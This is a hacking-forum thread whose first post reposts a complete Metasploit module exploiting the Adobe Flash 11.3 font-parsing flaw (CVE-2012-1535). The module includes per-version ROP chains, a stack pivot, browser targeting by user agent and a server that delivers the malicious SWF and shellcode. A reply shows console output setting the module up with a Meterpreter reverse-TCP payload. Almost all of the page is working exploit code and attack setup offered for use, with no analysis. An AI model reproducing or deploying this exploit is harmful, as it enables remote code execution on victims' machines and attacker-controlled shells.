Jump to content
DarkLegion

Adobe Flash Player 11.3 Font Parsing Code Execution

Recommended Posts

Posted (edited)

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# Penetration Testing Software | Metasploit

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
it is possible to gain arbitrary remote code execution under the context of the
user, as exploited in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', #Through iDefense
'sinn3r',
'juan vazquez'
],
'References' =>
[
[ 'CVE', '2012-1535' ],
[ 'OSVDB', '84607'],
[ 'BID', '55009'],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Tested successfully on:
# Flash 11.3.300.268
# Flash 11.3.300.265
# Flash 11.3.300.257
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => true
}
]
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2012",
'DefaultTarget' => 0))

register_options(
[
OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
], self.class)
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

def get_payload(t, flash_version=nil)
if t['Rop'].nil?
p = [
0x0c0c0c0c, # mapped at 1e0d0000
0x0c0c0c0c,
0x0c0c0c0c, # mapped at 1e0d0008
].pack("V*")

p << payload.encoded
else
if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/

print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d891, # xchg eax, esp # ret (1e0d0008)
].pack("V*")

rop = [
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
0x106e3384, # <- *&VirtualProtect()
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
0x10649004, # ROP NOP (-> edi)
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
nop, # NOPS (-> eax)
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
].pack("V*")

elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/

print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
].pack("V*")

rop = [
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
0x106e338c, # <- *&VirtualProtect()
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
0x105c1812, # ROP NOP (-> edi)
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
nop, # NOPS (-> eax)
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
].pack("V*")

elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/

print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d755, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
0x106e438c, # <- *&VirtualProtect()
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
0x10308b0f, # ROP NOP (-> edi)
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
nop, # NOPS (-> eax)
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
].pack("V*")

else

print_status("Default back to JRE ROP")
stack_pivot = [
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
].pack("V*")

rop = [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")

end
p = stack_pivot
p << rop
p << payload.encoded
end
return p
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")
my_target = get_target(agent)

print_status("Client requesting: #{request.uri}")

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

# The SWF request itself
if request.uri =~ /\.swf$/
print_status("Sending SWF")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
return
end

# The TXT payload request
if request.uri =~ /\.txt$/
flash_version = request.headers['x-flash-version']
shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
print_status("Sending Payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end

swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"

html = %Q|
<html>
<head>
</head>
<body>
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
<param name="movie" value="#{swf_uri}">
</object>
</body>
</html>
|

html = html.gsub(/^\t\t/, '')

# we need to handle direct /pay.txt requests
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil

print_status("Sending HTML")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def exploit
@swf = create_swf
print_status("SWF Loaded: #{@swf.length.to_s} bytes")
super
end

def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end

def cleanup
vprint_status("Removing txt resource")
remove_resource('/pay.txt') rescue nil
super
end

end

sursa

Edited by DarkLegion
Posted

+ -- --=[ 933 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
msf use exploit/windows/browser/adobe_flash_otf_font
msf exploit(adobe_flash_otf_font) > show options

Module options (exploit/windows/browser/adobe_flash_otf_font):

Name Current Setting Required Description
---- --------------- -------- -----------
ROP SWF yes The ROP chain to use (accepted: SWF, JRE)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL 0 no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.170 yes The listen address
LPORT 29984 yes The listen port


Exploit target:

Le-am adaugat in loc sa fac update.LOL

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...